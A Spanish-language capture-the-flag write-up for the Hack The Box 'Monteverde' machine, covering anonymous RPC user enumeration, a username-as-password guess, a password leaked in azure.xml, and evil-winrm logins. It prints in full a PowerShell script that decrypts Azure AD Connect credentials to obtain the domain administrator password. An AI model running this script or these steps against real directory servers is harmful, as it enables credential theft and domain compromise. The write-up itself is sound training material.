





Monteverde

```
angussMoody 0 • 2 rpcclient
root@angussMoody:~/hackthebox/Monteverde-10.10.10.172# rpcclient -U "" -N 10.10.10.172
rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]
rpcclient $> queryuser SABatchJobs
User Name : SABatchJobs
Full Name : SABatchJobs
Home Drive :
Dir Drive :
Profile Path:
Logon Script:
Description :
Workstations:
Comment :
Remote Dial :
Logon Time : jue, 23 ene 2020 12:40:39 -05
Logoff Time : mié, 31 dic 1969 19:00:00 -05
Kickoff Time : mié, 13 sep 30828 21:48:05 -05
Password last set Time : vie, 03 ene 2020 07:48:46 -05
Password can change Time : sáb, 04 ene 2020 07:48:46 -05
Password must change Time: mié, 13 sep 30828 21:48:05 -05
unknown_2[0..31]...
user_rid : 0xa2a
group_rid: 0x201
acb_info : 0x00000210
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000000
padding1[0..7]...
logon_hrs[0..21]...
rpcclient $>
```

Corremos el comando con la opción -U "" porque no sabemos que usuarios tiene y -N para la opción de No-pass, de esta manera ingresamos, utilizamos enumdomusers, para enumerar los usuarios y nos encontramos con 10 usuarios, así que vamos a ver la información de cada uno de ellos con queryuser, encontramos que en el tiempo de inicio de sesión hay 3 usuarios con fechas muy recientes mhope, SABatchJobs y ADD\_987d7f2f57d2 y ya con esta información vamos a ver que podemos encontrar por medio de smbclient.

Probando los 3 usuarios que vimos anteriormente, vemos que con SABatchJobs y de password el mismo nombre de usuario tenemos conexión a algunos directorios, así que vamos a enumerar y nos encontramos que dentro de users\$ se encuentran 4 directorios de usuario.

Dentro del directorio mhope nos encontramos con un archivo llamado Azure.xml, así que con get nos descargamos este archivo, para revisar de que trata.

```
angussMoody 0 • 2 smbclient
root@angussMoody:~/hackthebox/Monteverde-10.10.10.172# smbclient -L 10.10.10.172 -U SABatchJobs
Enter WORKGROUP\SABatchJobs's password:

Sharename      Type      Comment
-----
ADMIN$         Disk      Remote Admin
azure_uploads  Disk      Default share
C$             Disk      Default share
E$             Disk      Default share
IPC$           IPC        Remote IPC
NETLOGON       Disk      Logon server share
SYSVOL         Disk      Logon server share
users$         Disk

SMB1 disabled -- no workgroup available
root@angussMoody:~/hackthebox/Monteverde-10.10.10.172# smbclient //10.10.10.172/users$ -U SABatchJobs
Enter WORKGROUP\SABatchJobs's password:
Try "help" to get a list of possible commands.
smb: \> dir
.                D           0 Fri Jan 3 08:12:48 2020
..               D           0 Fri Jan 3 08:12:48 2020
dgalanos         D           0 Fri Jan 3 08:12:30 2020
mhope            D           0 Fri Jan 3 08:41:18 2020
roleary          D           0 Fri Jan 3 08:10:30 2020
smorgan          D           0 Fri Jan 3 08:10:24 2020

524031 blocks of size 4096. 518419 blocks available
smb: \>
```

```
smb: \mhope\> dir
.                D           0 Fri Jan 3 08:41:18 2020
..               D           0 Fri Jan 3 08:41:18 2020
azure.xml        AR        1212 Fri Jan 3 08:40:23 2020

524031 blocks of size 4096. 518419 blocks available
smb: \mhope\> get azure.xml
getting file \mhope\azure.xml of size 1212 as azure.xml (0,5 KiloBytes/sec) (average 0,5 KiloBytes/sec)
smb: \mhope\>
```



## Monteverde

Leyendo el archivo nos encontramos con un password, vamos a probar una conexión con evil-winrm como hemos realizado en máquinas anteriores.

```
root@angussMoody: ~/hackthebox/Monteverde-10.10.10.172# cat azure.xml
<Obj Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
    <Props>
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
      <S N="Password">4n0therD4y@n0th3r$</S>
    </Props>
  </Obj>
</Obj>
root@angussMoody: ~/hackthebox/Monteverde-10.10.10.172#
```

```
angussMoody 0 • 2 ruby2.5
root@angussMoody: ~/hackthebox/Monteverde-10.10.10.172# evil-winrm -i 10.10.10.172 -u mhope -p 4n0therD4y@n0th3r$
Evil-WinRM shell v2.0
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mhope\Documents> cd ..
*Evil-WinRM* PS C:\Users\mhope> cd Desktop
*Evil-WinRM* PS C:\Users\mhope\Desktop> dir

Directory: C:\Users\mhope\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar---             1/3/2020   5:48 AM           32 user.txt
```

y así obtenemos nuestra primera flag .

- **Escalada de Privilegios:**

```
angussMoody 0 • 2 ruby2.5
Mode                LastWriteTime         Length Name
----                -
d-----             1/2/2020   9:36 PM          Common Files
d-----             1/2/2020   2:46 PM       internet explorer
d-----             1/2/2020   2:38 PM    Microsoft Analysis Services
d-----             1/2/2020   2:51 PM    Microsoft Azure Active Directory Connect
d-----             1/2/2020   3:37 PM    Microsoft Azure Active Directory Connect Upgrader
d-----             1/2/2020   3:02 PM    Microsoft Azure AD Connect Health Sync Agent
d-----             1/2/2020   2:53 PM    Microsoft Azure AD Sync
d-----             1/2/2020   2:31 PM    Microsoft SQL Server
d-----             1/2/2020   2:25 PM    Microsoft Visual Studio 10.0
d-----             1/2/2020   2:32 PM    Microsoft.NET
d-----             1/3/2020   5:28 AM    PackageManagement
d-----             1/2/2020   9:37 PM          VMware
d-r-----           1/2/2020   2:46 PM    Windows Defender
d-----             1/2/2020   2:46 PM    Windows Defender Advanced Threat Protection
d-----             9/15/2018  12:19 AM    Windows Mail
d-----             1/2/2020   2:46 PM    Windows Media Player
d-----             9/15/2018  12:19 AM    Windows Multimedia Platform
d-----             9/15/2018  12:28 AM    windows nt
d-----             1/2/2020   2:46 PM    Windows Photo Viewer
d-----             9/15/2018  12:19 AM    Windows Portable Devices
d-----             9/15/2018  12:19 AM    Windows Security
d-----             1/3/2020   5:28 AM    WindowsPowerShell

*Evil-WinRM* PS C:\Program Files>
0 0 4K 1 chrome 2 Ruby2.5 1 95%
```

Enumerando la página nos damos cuenta está corriendo Azure, así que tratamos de encontrar una vulnerabilidad conocida para realizar el escalamiento de privilegios





## Monteverde

Revisando un poco en la web, nos encontramos con un script que nos da las credenciales de administrador que necesitamos para la escalación de privilegios.

(<https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Azure-ADConnect.ps1>)

Modificamos un poco el script y lo subimos con la Shell que tenemos en este momento.

```
angussMoody 0 • 2 nano
GNU nano 4.5
Azure-ADConnect.ps1
Modificado

$db = "ADSync"
$server = "127.0.0.1"
$client = new-object System.Data.SqlClient.SqlClient -ArgumentList "Server = $server; Database = $db; Initial Catalog=$db; Integrated Security = True;"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$scripted = $reader.GetString(1)
$reader.Close()

add-type -path "C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll"
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($scripted, [ref]$decrypted)

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @(Name = 'Domain'; Expression = {$_.node.InnerXML})
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @(Name = 'Username'; Expression = {$_.node.InnerXML})
$password = select-xml -Content $decrypted -XPath "//attribute" | select @(Name = 'Password'; Expression = {$_.node.InnerXML})

[+] Domain: " + $domain.Domain
[+] Username: " + $username.Username
[+] Password: " + $password.Password
```

Corremos nuestro script y obtenemos las credenciales de administrador.

```
angussMoody 0 • 2 ruby2.5

Info: Establishing connection to remote endpoint
[Evil-WinRM* PS C:\Users\mhope\Documents> cd ..
[Evil-WinRM* PS C:\Users\mhope> cd music
[Evil-WinRM* PS C:\Users\mhope\music> upload '/root/hackthebox/Monteverde-10.10.172/Azure-ADConnect.ps1'
Info: Uploading /root/hackthebox/Monteverde-10.10.172/Azure-ADConnect.ps1 to C:\Users\mhope\music\Azure-ADConnect.ps1
Data: 2344 bytes of 2344 bytes copied
Info: Upload successful!
[Evil-WinRM* PS C:\Users\mhope\music> dir

Directory: C:\Users\mhope\music

Mode                LastWriteTime         Length Name
----                -
-a----             1/24/2020 12:26 PM             1760 Azure-ADConnect.ps1

[Evil-WinRM* PS C:\Users\mhope\music> ./Azure-ADConnect.ps1
[+] Domain: MEGABANK.LOCAL
[+] Username: administrator
[+] Password: d0m@in4dminyeah!
[Evil-WinRM* PS C:\Users\mhope\music> 
```



Monteverde

Ahora solo queda probar una conexión en evil-winrm

```
angussMoody 0 • 2 ruby2.5
root@angussMoody:~/hackthebox/Monteverde-10.10.10.172# evil-winrm -i 10.10.10.172 -u administrator -p d0m@in4dminyeah!
Evil-WinRM shell v2.0
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir

Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar-...            1/3/2020   5:48 AM           32 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop>
```

De esta manera encontramos la flag del Root.

Saludos **Fr13nds HTB**

